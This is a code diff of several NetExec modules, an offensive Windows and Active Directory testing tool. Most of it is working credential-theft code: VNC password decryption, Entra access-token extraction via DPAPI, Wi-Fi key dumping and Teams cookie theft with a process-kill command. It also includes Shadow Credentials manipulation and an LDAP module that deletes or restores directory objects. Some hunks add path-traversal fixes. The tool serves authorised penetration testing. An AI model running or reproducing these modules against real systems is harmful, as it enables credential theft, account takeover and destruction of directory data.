+        if not raw_values:
+            self.context.log.display(f"No KeyCredentials found on {self.target}")
+            return
+
+        try:
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
+            return
+
+        self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
+
+    def backup(self, raw_values):
+        output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
+        output_path.parent.mkdir(parents=True, exist_ok=True)
+        output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
+        self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
+
+    def revert(self, target_dn):
+        try:
+            key_credentials = []
+            for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
+                if not isinstance(key_credential, (dict, str)):
+                    raise ValueError("keyCredentials entries must be objects or strings")
+                key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
+        except Exception as e:
+            self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
+            return
+
+        try:
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
+        except Exception as e:
+            self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
+            return
+        self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")

nxc/modules/snipped.py

@@ -1,8 +1,9 @@
 import ntpath
 import os
 from os.path import join, getsize, exists
-from pathlib import PurePosixPath
+from pathlib import Path
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -85,11 +86,10 @@ class NXCModule:
                                 continue
 
                             remote_file_path = ntpath.join(screenshot_path, remote_file_name)
-                            # replace \\ with underscores and ignore absolute path or path traversal attempts
-                            clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
-                            clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
-
-                            local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
+                            local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
+                            if Path(user_output_dir).resolve() not in local_file_path.parents:
+                                context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
+                                continue
                             context.log.debug(f"{local_file_path=}")
 
                             try:

nxc/modules/spider_plus.py

@@ -2,9 +2,10 @@ import json
 import errno
 from os.path import abspath, join, exists, splitext, getsize
 from os import makedirs, remove, stat
-from pathlib import Path, PurePosixPath
+from pathlib import Path
 import time
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 from nxc.protocols.smb.remotefile import RemoteFile
 from impacket.smb3structs import FILE_READ_DATA
@@ -127,6 +128,8 @@ class SMBSpiderPlus:
                 self.logger.debug(f"The folder {subfolder} does not exist.")
             elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
                 self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
+            elif "STATUS_NO_SUCH_FILE" in str(e):
+                self.logger.debug(f"The folder {subfolder} is empty.")
             elif self.reconnect():
                 filelist = self.list_path(share, subfolder)
         except NetBIOSTimeout as e:
@@ -170,13 +173,13 @@ class SMBSpiderPlus:
     def get_file_save_path(self, remote_file):
         r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
 
-        Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
+        Sanitizes each local path component and verifies containment in the output folder.
         """
         self.logger.debug(f"Remote file: {remote_file}")
-        raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
-        self.logger.debug(f"Raw path: {remote_file}")
-        clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
-        resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
+        clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
+        resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
+        if Path(self.output_folder).resolve() not in resolved.parents:
+            raise ValueError(f"Path traversal detected in {remote_file!s}")
         self.logger.debug(f"Resolved path: {resolved}")
         return str(resolved.parent), resolved.name
 
@@ -306,7 +309,12 @@ class SMBSpiderPlus:
             return
 
         # Check if the file is already downloaded and up-to-date.
-        file_dir, file_name = self.get_file_save_path(remote_file)
+        try:
+            file_dir, file_name = self.get_file_save_path(remote_file)
+        except ValueError as e:
+            self.logger.fail(str(e))
+            self.stats["num_get_fail"] += 1
+            return
         download_path = join(file_dir, file_name)
         needs_update_flag = False
         if exists(download_path):
@@ -322,7 +330,7 @@ class SMBSpiderPlus:
         try:
             self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
             remote_file.open_file()
-            self.save_file(remote_file, share_name)
+            self.save_file(remote_file, share_name, download_path)
             remote_file.close()
             download_success = True
         except SessionError as e:
@@ -339,7 +347,7 @@ class SMBSpiderPlus:
         else:
             self.stats["num_get_fail"] += 1
 
-    def save_file(self, remote_file, share_name):
+    def save_file(self, remote_file, share_name, download_path):
         """Reads the `remote_file` in chunks using the `read_chunk` method.
 
         Each chunk is then written to the local file until the entire file is saved.
@@ -348,12 +356,9 @@ class SMBSpiderPlus:
         # Reset the remote_file to point to the beginning of the file.
         remote_file.seek(0, 0)
 
-        folder, filename = self.get_file_save_path(remote_file)
-        download_path = join(folder, filename)
-
         # Create the subdirectories based on the share name and file path.
-        self.logger.debug(f"Creating folder '{folder}'")
-        make_dirs(folder)
+        self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
+        make_dirs(Path(download_path).parent)
 
         try:
             with open(download_path, "wb") as fd:

nxc/modules/teams_localdb.py

@@ -6,16 +6,18 @@ from os.path import abspath, join
 
 class NXCModule:
     name = "teams_localdb"
-    description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
+    description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
     supported_protocols = ["smb"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """No options available"""
+        """KILL         Kill all Teams processes before retrieving the Cookies database. Default: False"""
+        self.kill = module_options.get("KILL", "false").lower() == "true"
 
     def on_admin_login(self, context, connection):
-        context.log.display("Killing all Teams process to open the cookie file")
-        connection.execute("taskkill /F /T /IM teams.exe")
+        if self.kill:
+            context.log.display("Killing all Teams processes to open the cookie file")
+            connection.execute("taskkill /F /T /IM teams.exe")
         found = 0
         paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
         with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
@@ -33,6 +35,8 @@ class NXCModule:
                         context.log.debug(str(e))
                         context.log.highlight("Found Cookie file in path " + path)
                         context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
+                        if not self.kill:
+                            context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
         if found == 0:
             context.log.display("No cookie file found in Users folder")
 

nxc/modules/timeroast.py

@@ -97,7 +97,7 @@ class NXCModule:
                 if ready:
                     reply = sock.recvfrom(120)[0]
 
-                    # Extract RID, hash and "salt" if succesful.
+                    # Extract RID, hash and "salt" if successful.
                     if len(reply) == 68:
                         salt = reply[:48]
                         answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag

nxc/modules/tombstone.py

@@ -0,0 +1,134 @@
+from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
+from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
+
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """Module by Fabrizzio: @Fabrizzio53"""
+
+    name = "tombstone"
+    description = "Query, restore and delete AD objects"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """
+        ACTION      Specify the action to execute: query, restore or delete. Default is query.
+        ID          The id of which object you want to restore.
+        DN          The DN of which object you want to delete.
+
+        Usage:
+        nxc ldap $DC-IP -u Username -p Password -M tombstone
+        nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
+        nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
+        nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
+        """
+        self.action = module_options.get("ACTION", "query").lower()
+        self.id = module_options.get("ID", "")
+        self.delete_dn = module_options.get("DN", "")
+        if self.action == "restore" and not self.id:
+            context.log.fail("ID is necessary when calling tombstone with the restore action")
+            return False
+
+        if self.action == "delete" and not self.delete_dn:
+            context.log.fail("DN is necessary when calling tombstone with the delete action")
+            return False
+
+    def on_login(self, context, connection):
+        if self.action == "query":
+            self.query_deleted_objects(context, connection)
+        elif self.action == "delete":
+            self.delete_object(context, connection)
+        elif self.action == "restore":
+            self.restore_deleted_object(context, connection)
+        else:
+            context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
+
+    def show_deleted_control(self):
+        return Control().setComponents("1.2.840.113556.1.4.417", True)
+
+    def search_deleted_objects(self, connection):
+        return parse_result_attributes(
+            connection.search(
+                baseDN=f"CN=Deleted Objects,{connection.baseDN}",
+                searchFilter="(isDeleted=TRUE)",
+                attributes=[],
+                searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
+            )
+        )
+
+    def restore_deleted_object(self, context, connection):
+        object_dn = ""
+        original_dn = ""
+
+        context.log.highlight(f"Trying to find object with given id {self.id}")
+
+        context.log.debug("Search Filter=(isDeleted=TRUE)")
+        context.log.highlight("")
+
+        for entries in self.search_deleted_objects(connection):
+            if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
+                continue
+
+            if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
+                context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
+                context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
+                context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
+                context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
+                context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
+                context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
+                context.log.highlight("")
+
+                object_dn = entries.get("distinguishedName", "")
+                original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
+                break
+
+        if not original_dn:
+            context.log.fail(f"The object was not found with id {self.id}.")
+            return False
+
+        try:
+            connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
+            context.log.highlight(f"Success {original_dn} restored")
+        except LDAPSessionError as e:
+            context.log.fail(f"Error at trying to recover the object {e}")
+            return False
+
+    def delete_object(self, context, connection):
+        context.log.highlight(f"Trying to delete {self.delete_dn}")
+
+        try:
+            connection.ldap_connection.delete(dn=self.delete_dn)
+            context.log.highlight("")
+            context.log.highlight(f'Success, "{self.delete_dn}" deleted')
+        except LDAPSessionError as e:
+            context.log.highlight("")
+            context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
+
+    def query_deleted_objects(self, context, connection):
+        context.log.debug("Search Filter=(isDeleted=TRUE)")
+        resp_parsed = self.search_deleted_objects(connection)
+
+        if not resp_parsed:
+            context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
+            return False
+
+        resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
+        if not resp_parsed:
+            context.log.highlight("No objects are in a tombstone state")
+            return False
+
+        context.log.highlight("")
+
+        for entries in resp_parsed:
+            context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
+            context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
+            context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
+            context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
+            context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
+            context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
+            context.log.highlight("")
+
+        context.log.highlight(f"Found {len(resp_parsed)} deleted objects")

nxc/modules/user-desc.py

@@ -3,6 +3,7 @@ from datetime import datetime
 from impacket.ldap import ldap, ldapasn1
 from impacket.ldap.ldap import LDAPSearchError
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -91,7 +92,7 @@ class NXCModule:
 
     def create_log_file(self, host, time):
         """Create a log file for dumping user descriptions."""
-        logfile = f"UserDesc-{host}-{time}.log"
+        logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
         logfile = Path(NXC_PATH).joinpath(logfile)
 
         self.context.log.info(f"Creating log file '{logfile}'")

nxc/modules/vnc.py

@@ -1,18 +1,14 @@
 import ntpath
 import tempfile
-from dploot.lib.target import Target
 
-from impacket.dcerpc.v5 import rrp
 from impacket import winregistry
-from impacket.examples.secretsdump import RemoteOperations
-from impacket.system_errors import ERROR_NO_MORE_ITEMS
+from impacket.dcerpc.v5 import rrp
 
 from Cryptodome.Cipher import DES
 from binascii import unhexlify
 import codecs
 import re
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
 
 
 class NXCModule:
@@ -23,7 +19,7 @@ class NXCModule:
 
     name = "vnc"
     description = "Loot Passwords from VNC server and client configurations"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def __init__(self, context=None, module_options=None):
@@ -49,79 +45,40 @@ class NXCModule:
     def on_admin_login(self, context, connection):
         self.context = context
         self.connection = connection
-        self.share = self.connection.args.share
+        self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
 
-        host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
+        dploot_conn = connection.dpapi_triage.conn
 
-        target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            use_kcache=use_kcache,
-        )
-
-        dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
         if not self.no_remoteops:
-            remote_ops = RemoteOperations(connection.conn, False)
-            remote_ops.enableRegistry()
-            self.vnc_from_registry(remote_ops)
-            self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
+            self.vnc_from_registry(dploot_conn)
+            self.vnc_client_proxyconf_extract(dploot_conn)
         self.vnc_from_filesystem(dploot_conn)
 
-    def reg_query_value(self, remote_ops, path, key, hku=False):
-        if remote_ops._RemoteOperations__rrp:
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                path,
-            )
-            key_handle = ans["phkResult"]
-            data = None
-            try:
-                _, data = rrp.hBaseRegQueryValue(
-                    remote_ops._RemoteOperations__rrp,
-                    key_handle,
-                    key,
-                )
-                return data
-            except rrp.DCERPCSessionError as e:
-                self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
-
-    def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
+    def vnc_client_proxyconf_extract(self, dploot_conn):
         vnc_client_softwares = [
             ("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
         ]
-        users = self.get_users(remote_ops)
+        users = self.get_users(dploot_conn)
+        if dploot_conn.target.protocol != "smb":
+            self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
         for user, sid in users.items():
             ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
             try:
-                ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
+                ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
             except Exception as e:
                 self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
             for vnc_name, registry_path, registry_keys in vnc_client_softwares:
                 cred = {}
-                if ntuser_dat_bytes is None and remote_ops is not None:
+                if ntuser_dat_bytes is None:
                     user_registry_path = ntpath.join(sid, registry_path)
                     try:
-                        password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
+                        password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
+                        if password is None:
+                            continue
+                        password = password.encode().rstrip(b"\x00").decode()
                         cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
-                        cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
-                        cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
+                        cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
+                        cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
                     except Exception as e:
                         if "ERROR_FILE_NOT_FOUND" not in str(e):
                             self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -139,9 +96,9 @@ class NXCModule:
                         cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
                         cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
 
-                self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
+                self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
 
-    def vnc_from_registry(self, remote_ops):
+    def vnc_from_registry(self, dpapi_conn):
         vncs = (
             ("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
             ("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -152,10 +109,12 @@ class NXCModule:
         )
         for vnc_name, path, key in vncs:
             try:
-                value = self.reg_query_value(remote_ops, path, key)
-            except Exception as e:
-                if "ERROR_FILE_NOT_FOUND" not in str(e):
-                    self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
+                value = dpapi_conn.reg_get_key_value("HKLM", path, key)
+            except rrp.DCERPCSessionError as e:
+                if "ERROR_FILE_NOT_FOUND" in str(e):
+                    self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
+                else:
+                    self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
                 continue
             if value is None:
                 continue
@@ -163,7 +122,7 @@ class NXCModule:
             password = self.recover_vncpassword(value)
             if password is None:
                 continue
-            self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
+            self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
 
         vnc_users = (
             ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -171,7 +130,10 @@ class NXCModule:
         for vnc_name, path, user, password, server in vnc_users:
             cred = {}
             try:
-                value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
+                value = dpapi_conn.reg_get_key_value("HKLM", path, password)
+                if value is None:
+                    continue
+                value = value.encode().rstrip(b"\x00").decode()
                 value = unhexlify(value)
             except Exception as e:
                 if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -181,13 +143,13 @@ class NXCModule:
                 continue
             cred["password"] = self.recover_vncpassword(value).decode()
             try:
-                cred["server"] = self.reg_query_value(remote_ops, path, server)
-                cred["user"] = self.reg_query_value(remote_ops, path, user)
+                cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
+                cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
             except Exception as e:
                 if "ERROR_FILE_NOT_FOUND" not in str(e):
                     self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
                 continue
-            self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
+            self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
 
     def split_len(self, seq, length):
         return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -230,8 +192,8 @@ class NXCModule:
             ("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
         )
 
-        for vnc_name, file in vncs:
-            file_content = dploot_conn.readFile(self.share, file)
+        for vnc_name, filepath in vncs:
+            file_content = dploot_conn.read_file(share=self.share, path=filepath)
             if file_content is not None:
                 regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
                 for regex in regex_passwd:
@@ -239,39 +201,16 @@ class NXCModule:
                     for passwd_encrypted in passwds_encrypted:
                         passwd_encrypted = passwd_encrypted.split(b"=")[-1]
                         password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
-                        self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
+                        self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
 
     def get_users(self, conn):
         users = {}
         userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
 
-        ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
-        regHandle = ans["phKey"]
-
-        ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
-        keyHandle = ans["phkResult"]
-
-        sids = []
-
-        i = 0
-        while True:
-            try:
-                ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
-                sids.append(ans2["lpNameOut"])
-            except rrp.DCERPCSessionError as e:
-                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
-                    break
-            except Exception as e:
-                self.context.debug(f"Error while listing users from HKU: {e}")
-            i += 1
-        rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
-        for sid in sids:
-            ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
-            keyHandle = ans["phkResult"]
-            _, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
-            if r"%systemroot%" in profile_path:
+        for sid in conn.reg_enum_key("HKLM", userlist_key):
+            profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
+            if "C:\\Users" not in profile_path:
                 continue
-            users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
-            rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
+            users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
 
         return users

nxc/modules/wam.py

@@ -1,67 +1,45 @@
 import re
-import jwt
+import json
+from base64 import urlsafe_b64decode
 from dploot.triage.wam import WamTriage
-from dploot.lib.target import Target
 
-from nxc.helpers.logger import highlight
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
 
 
 class NXCModule:
     name = "wam"
     description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """No options available"""
 
     def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        self.pvkbytes = get_domain_backup_key(connection)
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
+        self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
 
         if len(self.masterkeys) == 0:
             context.log.fail("No masterkeys looted")
             return
 
-        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
+        context.log.success("Looting Token Broker Cache access tokens")
 
         def token_callback(token):
             for attrib in token.attribs:
                 if attrib["Key"].decode() == "WTRes_Token":
                     # Extract every access token
                     for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
-                        decoded_token = jwt.decode(access_token, options={"verify_signature": False})
+                        try:
+                            decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
+                        except ValueError:
+                            context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
+                            continue
                         if "preferred_username" in decoded_token:
                             # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
-                            context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
+                            connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
 
         try:
-            triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
+            triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
             triage.triage_wam()
         except Exception as e:
             context.log.debug(f"Could not loot access tokens: {e}")

nxc/modules/wifi.py

@@ -1,54 +1,29 @@
-from dploot.lib.target import Target
 from dploot.triage.wifi import WifiTriage
 
-from nxc.helpers.logger import highlight
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
 
 
 class NXCModule:
     name = "wifi"
     description = "Get key of all wireless interfaces"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """No options available"""
 
     def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
+        masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
 
         if len(masterkeys) == 0:
             context.log.fail("No masterkeys looted")
             return
 
-        context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
+        context.log.success("Looting Wifi interfaces")
 
         try:
             # Collect Chrome Based Browser stored secrets
-            wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
+            wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
             wifi_creds = wifi_triage.triage_wifi()
         except Exception as e:
             context.log.debug(f"Error while looting wifi: {e}")
@@ -57,16 +32,16 @@ class NXCModule:
                 context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
             elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
                 try:
-                    context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
